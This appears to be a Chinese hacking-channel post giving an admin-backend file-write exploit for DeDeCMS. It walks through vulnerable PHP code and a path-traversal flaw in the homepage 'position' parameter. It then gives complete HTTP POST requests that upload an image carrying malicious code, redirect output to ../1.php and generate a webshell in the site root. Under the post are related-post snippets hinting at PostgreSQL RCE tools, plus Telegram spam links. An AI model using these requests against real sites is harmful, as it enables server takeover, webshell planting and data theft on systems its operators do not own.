消息详情
暗夜之界 | Hacker技术 SQL · @AZQVQ · 2026年11月9日 15:54
$templet = preg_replace("/[.]+[\/\\\\]+/", "/", $templet); if(empty($dopost)) $dopost = ''; if($dopost=="view") { $pv = new PartView(); $templet = str_replace("{style}",$cfg_df_style,$templet); $pv->SetTemplet($cfg_basedir.$cfg_templets_dir."/".$templet); $pv->Display(); exit(); } else if($dopost=="make") { $remotepos = empty($remotepos)? '/index.html' : $remotepos; $isremote = empty($isremote)? 0 : $isremote; $serviterm = empty($serviterm)? "" : $serviterm; $homeFile = DEDEADMIN."/".$position; $homeFile = str_replace("\\","/",$homeFile); $homeFile = str_replace("//","/",$homeFile); $fp = fopen($homeFile,"w") or die("你指定的文件名有问题,无法创建文件"); fclose($fp); if($saveset==1) { $iquery = "UPDATE `#@__homepageset` SET templet='$templet',position='$position' "; // die($iquery); $dsql->ExecuteNoneQuery($iquery); } 分析代码得知 '$templet的值经过过滤 不可以使用../ 没有其他限制 $position无任何限制 值是可控的 查看数据库中@__homepageset名字为这个的表也就是dede_homepageset表 然后在echo 一下$tpl 和$homeFile的值 来确认路径信息 方便得知我们需要将这个值改为什么可以方便的进行文件覆盖拿到shell 得知 tpl的值在存储数据库中的$templet参数因为存在../过滤 所以必须要在/templets目录下 homeFile 无限制 可以直接写为../1.php 文件不存在的话fopen(homeFile, 'w')会创建此文件 此外由于 系统存在 模块-文件管理器 可以直接在templets中上传一个图片码,这样 两个参数即都已经处于可控状态 并且可以控制 $homeFile参数成为可以写入包含恶意代码的php文件 漏洞利用 第一步 上传图片马 利用系统的文件管理器上传包含恶意内容的图片文件在且/templets/目录中 这样/templets/下存在一个phpinfo.png 的文件 第二步 更改数据库中的两个参数的内容 Poc 代码 POST /dede/makehtml_homepage.php HTTP/1.1 Host: dede.test.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=a8g7jmunlsc13k921p5i7e5idh; _csrf_name_65a662a9=fe9ab3ba5fb0c17275051ecaf0cd79f3; _csrf_name_65a662a91BH21ANI1AGD297L1FF21LN02BGE1DNG=14d49edb9c9ca536; XDEBUG_SESSION=XDEBUG_ECLIPSE; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=bd2d5486c005cdd5; DedeLoginTime=1722498125; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=82a6253c29408017 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 59 dopost=make&saveset=1&templet=phpinfo.png&position=../1.php 发现数据库中的内容被更改为我们指定的内容 第三步 文件覆盖操作 将phpinfo.png的内容覆盖到1.php中 Poc 代码 POST /dede/task_do.php HTTP/1.1 Host: dede.test.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=a8g7jmunlsc13k921p5i7e5idh; _csrf_name_65a662a9=fe9ab3ba5fb0c17275051ecaf0cd79f3; _csrf_name_65a662a91BH21ANI1AGD297L1FF21LN02BGE1DNG=14d49edb9c9ca536; XDEBUG_SESSION=XDEBUG_ECLIPSE; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=bd2d5486c005cdd5; DedeLoginTime=1722498125; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=82a6253c29408017 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16 dopost=makeindex 目前不存在1.php文件 产生1.php文件在网站根目录 Phpinfo() Shell连接 结语 关于makehtml_homepage.php文件中 SetTemplet()方法和SaveToHtml()方法 其实还存在另一个关于修复后的绕过漏洞 但是 和第一个没什么区别 所以在这里就不写了,另外实际利用的话后台其实有很简单的方式可以操作拿shell,就是不知道什么原因官方一直不修复。
相關消訊
- 影响版本: DeDeCMS <=5.7.115 代码分析 漏洞文件: dede/task_do.php 代码 if($dopost=='makeinde…
- function SaveTo($filename) { $fp = @fopen($filename,"w") or die("DedeT…
- 代码分析 漏洞文件:/dede/makehtml_homepage.php 代码 else if($dopost=="make") { $re…
- #!/usr/bin/env python3 import struct # PostgreSQL 页面大小 8KB PG_PAGE_SIZE = 8192…
- def main(): # 解析命令行参数 parser = argparse.ArgumentParser(description='P…
- #!/usr/bin/env python3 import argparse import struct import csv import base64 f…
- 4 仅用SELECT语句实现远程代码执行 4.0 读取原始postgresql.conf配置文件 完成 RCE 第一步是下载原始配置文件。目前已是超管可直接通…
- 区块结构 区块是一种记录交易的数据结构,每个区块由区块头和区块主体组成,区块主体负责记录前一段时间内的所有交易信息,区块链的大部分功能都由区块头实现,区块头数…
- Telegram必备的搜索引擎,极搜JISOU帮你精准找到,想要的群组、频道、视频、音乐 👉 t.me/jisou2?start=a_8315722010
- Telegram必备的搜索引擎,极搜JISOU帮你精准找到,想要的群组、频道、视频、音乐 👉 t.me/jisou2?start=a_8315722010